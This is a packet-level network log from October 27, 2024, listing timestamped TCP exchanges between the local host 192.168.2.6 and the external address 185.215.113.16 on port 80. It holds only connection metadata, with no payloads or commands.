Oct 27, 2024 07:59:22.268387079 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268410921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268421888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268434048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268445015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268455029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268464088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268472910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268482924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268583059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268583059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268583059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.269202948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269212961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269227982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269237995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269252062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269263029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.269284010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.269284010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.269414902 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.307377100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307389021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307399035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307409048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307419062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307521105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.307542086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.307552099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307564974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307627916 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.307652950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307662964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307674885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.307802916 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.307802916 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309092045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309103012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309118986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309128046 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309137106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309156895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309269905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309281111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309290886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309333086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309333086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309417963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309427977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309438944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309448957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309458971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309524059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309524059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309577942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.309730053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309756041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309767008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309890032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309900999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309911013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.309927940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.310075045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.310121059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.310132027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.310142040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.310368061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.310847998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.353847980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353868008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353879929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353936911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353950024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353960991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.353971958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.354068041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.354068041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.354068041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.354152918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.354163885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.354223967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.382761955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382774115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382786036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382848978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382860899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382895947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382906914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382920027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.382937908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.382992983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383004904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383016109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383132935 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383132935 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383184910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383202076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383213997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383224964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383235931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383287907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383287907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383488894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383500099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383512974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383526087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383534908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383539915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383553028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383560896 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383560896 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383958101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383976936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383989096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.383996010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.383996010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384001970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384015083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384025097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384037018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384046078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384052038 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384071112 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384424925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384437084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384448051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384480000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384491920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384501934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384514093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384525061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.384552002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384552002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384552002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384552002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.384841919 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.397120953 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.409161091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.422509909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422535896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422547102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422565937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422578096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422589064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422630072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.422630072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.422775030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422800064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422810078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422830105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.422868967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.422951937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422964096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.422993898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.423029900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424350023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424362898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424374104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424401999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424415112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424423933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424427986 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424443960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424473047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424484015 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424485922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424498081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424551010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424566031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424616098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424626112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424712896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424727917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424741030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424751043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424778938 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.424917936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424937963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424948931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.424968958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.425141096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425153017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425163984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425226927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.425226927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.425287962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425331116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.425354004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425364971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.425514936 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.469077110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469089031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469156027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469211102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.469223976 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469238997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469249010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469260931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469271898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.469387054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.469387054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.469387054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.497922897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.497937918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.497948885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.497960091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.497971058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498034000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498047113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498056889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498157024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498173952 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498173952 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498200893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498212099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498239040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498251915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498377085 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498395920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498447895 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498466969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498480082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498490095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498502970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498553038 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498553038 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498759985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498770952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498783112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498826981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498838902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498852015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498879910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.498904943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.498918056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499062061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.499062061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.499275923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499288082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499300003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499377012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499393940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499404907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499416113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499428034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499448061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.499454021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.499454975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499473095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499561071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.499944925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499964952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499978065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.499994040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.500005960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.500072002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.500185966 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.537887096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.537941933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.537951946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.537966967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.537978888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.537992001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538057089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.538057089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.538140059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538152933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538165092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538229942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.538290977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538321972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538335085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.538360119 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.538377047 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.539515972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539527893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539539099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539557934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539570093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539599895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.539599895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.539628983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539678097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539733887 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.539747000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539757013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539850950 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.539902925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539913893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539926052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.539998055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540009975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540035963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540035963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540035963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540041924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540155888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540167093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540189028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540209055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540224075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540294886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540402889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540419102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540431023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540441990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540452003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540472031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.540510893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540565014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540575027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.540621996 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.552622080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.584414959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584428072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584439993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584450006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584461927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584530115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.584530115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.584539890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584552050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584583998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584618092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.584619045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.584680080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613171101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613185883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613198042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613208055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613286018 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613286018 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613317966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613331079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613352060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613363981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613378048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613387108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613399982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613418102 CET	49750	80	192.168.2.6	185.215.113.16
